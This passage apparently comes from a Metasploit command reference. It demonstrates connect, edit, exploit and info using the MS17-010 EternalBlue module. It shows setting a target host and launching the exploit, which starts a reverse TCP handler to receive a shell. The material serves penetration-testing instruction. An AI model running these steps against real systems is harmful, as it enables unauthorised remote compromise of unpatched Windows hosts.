```
msf > connect 192.168.1.1 80
[*] Connected to 192.168.1.1:80

HTTP/1.0 400 Bad Request
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
Date: Tue, 05 Dec 2017 14:12:13 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Accept-Ranges: bytes
Connection: close

<html>
<head>
 <title>400 Bad Request</title>
</head>
<body bgcolor="#ffffff">
 <h2>400 Bad Request</h2>
 <p></p>
</body>
</html>
msf >
```

Edit the current module in Vim.

```
msf exploit(windows/smb/ms17_010_eternalblue) > edit

[!] LocalEditor or $VISUAL/$EDITOR should be set. Falling
back on vim.

[*] Launching vim /opt/metasploit-
framework/embedded/framework/modules/exploits/windows/smb
/ms17_010_eternalblue.rb
```

Starts the current exploit.

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST
192.168.1.1

RHOST => 192.168.1.1

msf exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.6:4444

[*] 192.168.1.1:445 - Connecting to target for
exploitation
```

Provides detailed information about a particular module including all options, targets, and other information.

```
msf > info exploit/windows/smb/ms17_010_eternalblue



       Name: MS17-010 EternalBlue SMB Remote Windows
Kernel Pool Corruption

     Module: exploit/windows/smb/ms17_010_eternalblue

   Platform: Windows
```

```
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  Equation Group
  Shadow Brokers
  thelightcosine

Available targets:
  Id  Name
  --  ----
  0   Windows 7 and Server 2008 R2 (x64) All Service
Packs

Basic options:
```